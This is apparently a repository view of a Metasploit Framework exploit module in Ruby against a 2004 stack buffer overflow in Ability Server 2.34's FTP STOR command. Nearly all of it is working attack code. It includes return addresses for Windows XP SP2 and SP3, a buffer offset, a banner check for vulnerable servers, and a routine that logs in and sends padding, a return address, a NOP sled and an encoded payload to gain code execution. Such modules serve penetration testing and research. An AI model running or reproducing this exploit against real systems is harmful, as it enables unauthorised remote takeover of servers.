Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
113 lines
2.8 KiB
Ruby
113 lines
2.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in Ability Server 2.34.
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Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
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which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.
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The vulnerability has been confirmed on version 2.34 and has also been reported
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in version 2.25 and 2.32. Other versions may also be affected.
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},
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'Author' =>
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[
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'muts', #Initial discovery
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'Dark Eagle', #same as muts
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'Peter Osterberg' #Metasploit
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-1626' ],
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[ 'OSVDB', '11030'],
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[ 'EDB', '588'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process'
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},
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\xff"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP SP2 ENG',
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{
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#JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)
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'Ret' => 0x73E32ECF,
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'Offset' => 966
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}
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],
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[
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'Windows XP SP3 ENG',
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{
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#JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully pathced)
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'Ret' => 0x7E429353,
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'Offset' => 966
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}
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],
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],
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'DisclosureDate' => 'Oct 22 2004'
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))
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register_options(
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[
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Opt::RPORT(21),
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OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
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OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
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], self.class)
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end
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def check
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connect
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disconnect
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if banner =~ /Ability Server 2\.34/
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return Exploit::CheckCode::Vulnerable
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else
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if banner =~ /Ability Server/
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return Exploit::CheckCode::Detected
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end
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect_login
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myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
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# Take client ip + ftp user lengths into account for EIP offset
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padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
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junk = rand_text_alpha(padd_size)
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sploit = junk
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sploit << [target.ret].pack('V')
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sploit << make_nops(32)
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sploit << payload.encoded
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sploit << rand_text_alpha(sploit.length)
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send_cmd(['STOR', sploit], false)
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handler
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disconnect
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end
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end
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